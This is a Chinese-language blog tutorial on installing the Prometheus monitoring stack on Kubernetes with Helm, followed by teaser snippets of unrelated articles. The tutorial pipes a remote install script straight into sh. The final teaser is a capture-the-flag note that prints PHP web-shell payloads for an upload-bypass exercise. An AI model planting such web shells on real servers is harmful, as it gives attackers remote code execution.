How to helm install prometheus 【 helm 安装 prometheus 】

news/2024/5/18 22:21:54 标签: prometheus, kubernetes, 云原生, 容器, 监控

文章目录

    • 1. 简介
    • 2. 简单部署
    • 3. 数据持久化部署
      • 3.1 设置必要的环境变量
      • 3.2 运行安装脚本
      • 3.3 查看

1. 简介

kube-prometheus-stack是一个基于Prometheus和Grafana的开源软件套件,用于在Kubernetes集群中进行监控和可视化。它提供了一套完整的工具和组件,用于收集、存储、查询和展示监控指标数据。

组件:
kube-prometheus-stack由多个关键组件组成,包括:

  • Prometheus Operator:用于在Kubernetes上部署和管理Prometheus实例的控制器。
  • Alertmanager:用于管理和处理Prometheus生成的告警通知。
  • Prometheus:一个开源的监控系统,用于收集和存储时间序列数据。
  • Grafana:一个功能强大的数据可视化和仪表板工具,用于展示监控指标和创建仪表板。
  • kube-state-metrics:用于从Kubernetes API中导出集群状态指标的工具。
  • node-exporter:用于收集主机级别的指标数据。
  • Kubelet、kube-proxy和cAdvisor等其他组件,用于收集和导出Kubernetes集群的相关指标。

特性和功能:
kube-prometheus-stack具有以下特性和功能:

  • 快速部署和配置Prometheus和Grafana,无需手动编写复杂的配置文件。
  • 自动化的Prometheus实例管理和自动发现服务和Pod。
  • 提供预定义的Prometheus规则和警报,用于监控常见的Kubernetes和系统指标。
  • 支持水平扩展和高可用性,以满足大规模集群的监控需求。
  • 提供丰富的数据可视化和仪表板功能,通过Grafana创建和共享自定义仪表板。
  • 支持告警通知和集成到外部通知系统,如Slack、PagerDuty等。
  • 提供强大的查询语言和灵活的数据处理能力,以便进行高级监控和分析。

总之,kube-prometheus-stack为Kubernetes集群提供了一个强大而灵活的监控解决方案,使您能够方便地监控、分析和可视化集群的健康状态和性能指标。

2. 简单部署

helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
helm upgrade prometheus prometheus-community/kube-prometheus-stack --version 55.0.0 --debug --namespace prometheus --create-namespace --install --timeout 600s --wait

查看

$ kubectl get crd |grep -i monitor
alertmanagerconfigs.monitoring.coreos.com                  2023-03-01T07:02:27Z
alertmanagers.monitoring.coreos.com                        2023-03-01T07:02:27Z
podmonitors.monitoring.coreos.com                          2023-03-01T07:02:27Z
probes.monitoring.coreos.com                               2023-03-01T07:02:27Z
prometheusagents.monitoring.coreos.com                     2023-12-08T02:56:31Z
prometheuses.monitoring.coreos.com                         2023-12-08T02:56:31Z
prometheusrules.monitoring.coreos.com                      2023-12-08T02:56:31Z
scrapeconfigs.monitoring.coreos.com                        2023-12-08T02:13:50Z
servicemonitors.monitoring.coreos.com                      2023-03-01T07:02:27Z
thanosrulers.monitoring.coreos.com                         2023-03-01T07:02:27Z

3. 数据持久化部署

确保数据持久存储,通过 OpenEBS LocalPV 实现:How to helm install OpenEBS LocalPV

3.1 设置必要的环境变量

  • PROM_STORAGECLASS_NAME:指定Storageclass名称, 使用 kubectl get storageclasses 获取可用的 Storageclass 名称。

  • PROM_PVC_SIZE_G:指定持久化卷的大小,单位为Gi。

  • PROM_NODE_NAMES:指定安装Prometheus pod的节点名称,节点名称可以使用","作为分隔符,表示多个节点名称,安装程序会对节点进行label固定安装节点。

export PROM_STORAGECLASS_NAME="openebs-lvmsc-hdd"
export PROM_PVC_SIZE_G="20"
export PROM_NODE_NAMES="kube-node01,kube-node02,kube-node03"

3.2 运行安装脚本

注意⚠️:如果找不到 Helm3,将自动安装。
注意⚠️:安装脚本会对指定节点进行添加label的操作。

curl -sSL https://raw.githubusercontent.com/upmio/upm-deploy/main/addons/prometheus/install_el7.sh | sh -

等几分钟。 如果所有 prometheus pod 都在运行,则 prometheus 将成功安装。

3.3 查看

$ kubectl get pod -n prometheus
NAME                                                     READY   STATUS    RESTARTS   AGE
alertmanager-prometheus-kube-prometheus-alertmanager-0   2/2     Running   0          5m51s
prometheus-grafana-8df95c687-rdlng                       3/3     Running   0          6m32s
prometheus-kube-prometheus-operator-f8d88b6bb-jh4tg      1/1     Running   0          6m32s
prometheus-kube-state-metrics-84846764b9-smg97           1/1     Running   0          6m32s
prometheus-prometheus-kube-prometheus-prometheus-0       2/2     Running   0          5m50s
prometheus-prometheus-node-exporter-4lgvk                1/1     Running   0          6m32s
prometheus-prometheus-node-exporter-4z6n9                1/1     Running   0          6m32s
prometheus-prometheus-node-exporter-57s9z                1/1     Running   0          6m32s
prometheus-prometheus-node-exporter-gtfkf                1/1     Running   0          6m32s
prometheus-prometheus-node-exporter-txzxs                1/1     Running   0          6m32s
prometheus-prometheus-node-exporter-w47rm                1/1     Running   0          6m32s
prometheus-prometheus-node-exporter-x95dk                1/1     Running   0          6m32s


#查看所依赖的镜像
$ kubectl get pod -n prometheus -oyaml |grep 'image:' | sort | uniq
      image: docker.io/dbscale/kube-state-metrics:v2.9.2
      image: docker.io/grafana/grafana:10.2.2
      image: quay.io/kiwigrid/k8s-sidecar:1.25.2
      image: quay.io/prometheus-operator/prometheus-config-reloader:v0.70.0
      image: quay.io/prometheus-operator/prometheus-operator:v0.70.0
      image: quay.io/prometheus/alertmanager:v0.26.0
      image: quay.io/prometheus/node-exporter:v1.7.0
      image: quay.io/prometheus/prometheus:v2.48.1

#查看 svc
$ kubectl  get svc -n prometheus
NAME                                      TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)                      AGE
alertmanager-operated                     ClusterIP   None            <none>        9093/TCP,9094/TCP,9094/UDP   7m47s
prometheus-grafana                        ClusterIP   10.233.48.28    <none>        80/TCP                       8m27s
prometheus-kube-prometheus-alertmanager   ClusterIP   10.233.21.53    <none>        9093/TCP,8080/TCP            8m27s
prometheus-kube-prometheus-operator       ClusterIP   10.233.54.20    <none>        443/TCP                      8m27s
prometheus-kube-prometheus-prometheus     ClusterIP   10.233.20.146   <none>        9090/TCP,8080/TCP            8m27s
prometheus-kube-state-metrics             ClusterIP   10.233.30.192   <none>        8080/TCP                     8m27s
prometheus-operated                       ClusterIP   None            <none>        9090/TCP                     7m45s
prometheus-prometheus-node-exporter       ClusterIP   10.233.50.226   <none>        9100/TCP                     8m27s

#查询crd
$  kubectl get crd |grep monitor
alertmanagerconfigs.monitoring.coreos.com             2023-12-17T16:21:04Z
alertmanagers.monitoring.coreos.com                   2023-12-17T16:21:05Z
podmonitors.monitoring.coreos.com                     2023-12-17T16:21:05Z
probes.monitoring.coreos.com                          2023-12-17T16:21:05Z
prometheusagents.monitoring.coreos.com                2023-12-17T16:21:06Z
prometheuses.monitoring.coreos.com                    2023-12-17T16:21:06Z
prometheusrules.monitoring.coreos.com                 2023-12-17T16:21:07Z
scrapeconfigs.monitoring.coreos.com                   2023-12-17T16:21:07Z
servicemonitors.monitoring.coreos.com                 2023-12-17T16:21:07Z
thanosrulers.monitoring.coreos.com                    2023-12-17T16:21:07Z

查看存储是否自动分配卷

$ kubectl get pv
NAME                                       CAPACITY   ACCESS MODES   RECLAIM POLICY   STATUS      CLAIM                                                                                                               STORAGECLASS        REASON   AGE
pvc-6a000349-b47d-47bf-a80f-7e9b825db4cb   20Gi       RWO            Delete           Bound       prometheus/prometheus-prometheus-kube-prometheus-prometheus-db-prometheus-prometheus-kube-prometheus-prometheus-0   openebs-lvmsc-hdd            16m
task-pv-volume                             10Gi       RWO            Retain           Available                                                                                                                       manual                       144d

$ kubectl get pvc -n prometheus
NAME                                                                                                     STATUS   VOLUME                                     CAPACITY   ACCESS MODES   STORAGECLASS        AGE
prometheus-prometheus-kube-prometheus-prometheus-db-prometheus-prometheus-kube-prometheus-prometheus-0   Bound    pvc-6a000349-b47d-47bf-a80f-7e9b825db4cb   20Gi       RWO            openebs-lvmsc-hdd   16m

参考:

  • https://prometheus.io/
  • https://github.com/prometheus-community/helm-charts/tree/main/charts/kube-prometheus-stack
  • Kind & Kubernetes | 通过 Helm 部署定制化 Prometheus-Operator 上传 Dockerhub?
  • https://docs.youdianzhishi.com/prometheus/
  • promethues 云原生手册

http://www.niftyadmin.cn/n/5271111.html

相关文章

Windows11环境下配置深度学习环境(Pytorch)

目录 1. 下载安装Miniconda2. 新建Python3.9虚拟环境3. 下载英伟达驱动4. 安装CUDA版Pytorch5. CPU版本pytorch安装 1. 下载安装Miniconda 下载安装包&#xff1a;镜像文件地址 将Miniconda相关路径添加至系统变量的路径中。 打开Anaconda Powershell Prompt&#xff0c;输入…

设置Jira启动参数和选项

本文介绍在启动 JIRA 时如何设置 Java 属性和选项。 Linux 在 Linux 安装中配置系统属性 在 <jira-install>/bin 中打开 setenv.sh。找到 JVM_SUPPORT_RECOMMENDED_ARGS 一节参数列表参考https://confluence.atlassian.com/display/JIRA050/SettingPropertiesandOptio…

C# 进程的任务管理

try { //进程任务调度 using (Process myProcess new Process()) { List<Task> TaskList new List<Task>(); Task task1 new Task(() > { Task.Delay(TimeSpan.FromSeconds(4)); var processName "C:\\Users\\shil\\AppData\\Local\\Postman\\…

飞天使-docker知识点12-docker-compose

文章目录 docker-compose命令启动单个容器重启容器停止和启动容器停止和启动所有容器演示一个简单示范 docker-compose 部署有依赖问题 Docker Compose 是一个用于定义和运行多容器 Docker 应用程序的工具。它允许您使用简单的 YAML 文件来配置应用程序的服务、网络和存储等方…

06 Rust 枚举类

简单使用 enum Person {Good,Bad }let p1 Person::Good;为枚举成员添加属性 #[derive(Debug)] enum Person {Good(String), // 元组的方式描述属性Bad { name: String }, // 结构体方式描述属性, 可为属性命名 }fn main() {let p1 Person::Good("Jim"…

Leetcode 2966. Divide Array Into Arrays With Max Difference

Leetcode 2966. Divide Array Into Arrays With Max Difference 1. 解题思路2. 代码实现 题目链接&#xff1a;2966. Divide Array Into Arrays With Max Difference 1. 解题思路 这一题思路上来说其实很简单&#xff0c;想清楚这个问题必然是有序排列之后三个三个组成一组即…

19.Tomcat搭建

Tomcat 简介 Tomcat的安装和启动 前置条件 • JDK 已安装(JAVA_HOME环境变量已被成功配置) Windows 下安装 访问 http://tomcat.apache.org ⇒ 左侧边栏 “Download” 2. 解压缩下载的文件到 “D:\tomcat”, tomcat的内容最终被解压到 “D:\tomcat\apache-tomcat-9.0.84” 3.…

云演 Can you getshell?

1、扫目录&#xff0c;看看到upload.php,找到上传点 2、只让上传jpg gif png&#xff0c;上传图片写码 <?php eval($_POST[c]);?>这个码不行 换马 <script language"php">eval($_REQUEST[c])</script>3、蚁剑连接、得到flag